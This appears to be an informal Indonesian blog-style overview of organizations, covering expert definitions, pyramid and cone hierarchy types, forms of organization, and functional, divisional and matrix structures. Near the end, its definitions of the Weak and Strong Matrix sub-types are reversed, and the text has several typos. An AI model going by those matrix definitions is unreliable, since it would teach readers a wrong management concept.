Organisasi adalah suatu kelompok orang dalam suatu wadah unt tujuan bersama. Dalam ilmu-ilmu sosial, organisasi dipelajari oleh periset dari berbagai bidang ilmu, terutama sosiologi, ekonomi, ilmu politik, psikologi, dan manajemen. Kajian mengenai organisasi sering disebut studi organisasi (organizational studies),perilaku organisasi (organizational behaviour), atau analisa organisasi (organization analysis).
Terdapat beberapa teori dan perspektif mengenai organisasi, ada yang cocok sama satu sama lain, dan ada pula yang berbeda. Organisasi pada dasarnya digunakan sebagai tempat atau wadah dimana orang-orang berkumpul, bekerjasama secara rasional dan sistematis, terencana, terorganisasi, terpimpin dan terkendali, dalam memanfaatkan sumber daya (uang,material, mesin, metode, lingkungan), sarana-parasarana, data, dan lain sebagainya yang digunakan secara efisien dan efektif untuk mencapai tujuan organisasi.
Menurut para ahli terdapat beberapa pengertian organisasi sebagai berikut.
 Stoner mengatakan bahwa organisasi adalah suatu pola hubungan-hubungan yang melalui mana orang-orang di bawah pengarahan atasan mengejar tujuan bersama .
 James D. Mooney mengemukakan bahwa organisasi adalah bentuk setiap perserikatan manusia untuk mencapai tujuan bersama .
 Chester I. Bernard berpendapat bahwa organisasi adalah merupakan suatu sistem aktivitas kerja sama yang dilakukan oleh dua orang atau lebih.
 Stephen P. Robbins menyatakan bahwa Organisasi adalah kesatuan (entity) sosial yang dikoordinasikan secara sadar, dengan sebuah batasan yang relatif dapat diidentifikasi, yang bekerja atas dasar yang relatif terus menerus untuk mencapai suatu tujuan bersama atau sekelompok tujuan. .
Sebuah organisasi dapat terbentuk karena dipengaruhi oleh beberapa aspek seperti penyatuan visi dan misi serta tujuan yang sama dengan perwujudan eksistensi sekelompok orang tersebut terhadap masyarakat. Organisasi yang dianggap baik adalah organisasi yang dapat diakui keberadaannya oleh masyarakat disekitarnya, karena memberikan kontribusi seperti; pengambilan sumber daya manusia dalam masyarakat sebagai anggota-anggotanya sehingga menekan angka pengangguran
Orang-orang yang ada di dalam suatu organisasi mempunyai suatu keterkaitan yang terus menerus. Rasa keterkaitan ini, bukan berarti keanggotaan seumur hidup. Akan tetapi sebaliknya, organisasi menghadapi perubahan yang konstan di dalam keanggotaan mereka, meskipun pada saat mereka menjadi anggota, orang-orang dalam organisasi berpartisipasi secara relatif teratur.


  • TIPE ORGANISASI
 Piramida Mendatar(flat)
ciri-ciri :
a.Jumlah satuan organisasi tidak banyak sehingga tingkat-tingkat hirarki kewenangan
sedikit
b.Jumlah pekerja (bawahan) yang harus dikendalikan cukup banyak
c.Format jabatan untuk tingkat pimpinan sedikit karena jumlah pimpinan relatif kecil.


Piramida Terbalik

Organisasi piramida terbalik salah satu unit dari tipe piramida terbalik ialah jumlah jabatan pimpinan lebih besar dari pada jumlah pekerja. Organisasi ini hanya cocok untuk organisasi -organisasi yang pengangkatan pegawainya berdasarkan atas jabatan fungsional seperti organisasi-organisasi/lembaga - lembaga penelitian, lembaga - lembaga pendidikan.

Tipe Kerucut
ciri-ciri:
a.Jumlah satuan organisasi banyak sehingga tingkat-tingkat hirarki/kewenangan
banyak.
b.Rentang kendali sempit.
c.Pelimpahan wewenang dan tanggungjawab dapat dilakukan sampai kepada
pejabat/pimpinan yang bawah/rendah.
d.Jarak antara pimpinan tingkat atas dengan pimpinan tingkat bawah terlalu jauh.
e.Jumlah informasi jabatan cukup besar.

  • BENTUK ORGANISASI
  1. Organisasi politik
  2. Organisasi sosial
  3. Organisasi mahasiswa
  4. Organisasi olahraga
  5. Organisasi sekolah
  6. Organisasi negara
  • STRUKTUR DAN SKEMA ORGANISASI
1. Tipe organisasi Garis dan Staf
Tipe ini merupakan gabungan dari tipe garis dan fungsional, sehingga menyebar struktur orgasnisasi tersebut.

2. Tipe Organisasi Fungsional dan Staf
Tipe ini adalah perpaduan antara tipe orrganisasi garis, fungsional dan staf.
Struktur organisasi
1. Functional Organization Structure, yakni struktur organisasi dimana pembagian divisinya berdasarkan fungsinya masing-masing. Berikut adalah beberapa penjelasan tentang tipe ini :
1. Fokus pada pembagian tugas berdasarkan fungsi bagiannya masing2
2. Komunikasinya menggunakan bottom-top communicationsehingga control atasan terhadap bawahan lebih mudah, sederhana, dan tidak berulang2
3. Masing2 bagian cenderung hanya fokus pada bidang kerja masing2 dan komunikasi antar bagian cenderung kurang terbuka
4. Pergerakan dan komunikasi tiap2 bagian masih tersekat2
5. Biasanya ditemukan pada organisasi2 yang memproduksi barang


:: Functional Organization Structure ::
2. Project/Divisional Organization Structure, yakni struktur organisasi dimana pembagian divisinya berdasarkan proyek/kegiatan yang sedang dijalankan. Berikut adalah beberapa penjelasan tentang tipe ini :
0. Fokus pada pembagian berdasarkan proyek yang sedang dikerjakan
1. Masing2 kegiatan proyek mempunyai struktur sendiri, mulai dari pemimpin proyek sampai divisi2nya
2. Komunikasi di dalam proyek lebih terkendali dan fungsi pengawasan pemimpin proyek terhadap proyeknya juga mudah
3. Dibutuhkan lebih banyak SDA untuk masing2 proyek
4. Ada kemudahan dalam memasukkan konsultan luar (outsourcing) dalam pengerjaan proyek
5. Setiap karyawan dituntut untuk mempunyai rasa tanggung jawab dan inisiatif yang tinggi
6. Kurang cocok untuk organisasi yang membutuhkan banyak proses administrasi dan birokrasi


:: Project/Divisional Organization Structure ::
3. Matrix Organization Structure, yakni struktur organisasi gabungan dari Functional dan Projectized Structure Organization. Berikut adalah beberapa penjelasan tentang tipe ini :
0. Terdapat pembagian berdasarkan proyek/kegiatan yang sedang dijalankan
1. Namun tetap menggunakan SDA dari tiap divisi yang kesemuanya secara bersama-sama menangani semua proyek
2. Pemanfaatan SDA-nya efisien karena anggota mempunyai pekerjaan yang tetap walau proyek telah selesai
3. Komunikasi dan sharing antar divisi lebih baik dibandingkan dengan tipe fungsional
4. Ada keterlibatan stakeholder yang kuat
5. Pembagian SDA harus jelas untuk setiap proyeknya, jangan sampai terjadi “rebutan SDA”
6. Setiap anggota berkecimpung di setiap proyek yang ada, sehingga komunikasi mereka terhadap setiap atasannya yang notabene lebih dari satu bisa jadi membingungkan
7. Ada tiga sub dari tipe ini, diantaranya :
1. Weak Matrix => peran Manajer Proyek kuat, peran Manajer Fungsional lemah. Manajer Fungsional hanya sebagai penyedia SDA yang ada.
2. Balanced Matrix => peran Manajer Proyek dan Manajer Fungsional setara.
3. Strong Matrix => peran Manajer Proyek lemah, peran Manajer Fungsional kuat. Manjer Proyek hanya sebagai koordinator proyek.

Sumber referensi: www.google.co.id, www.wikipedia.org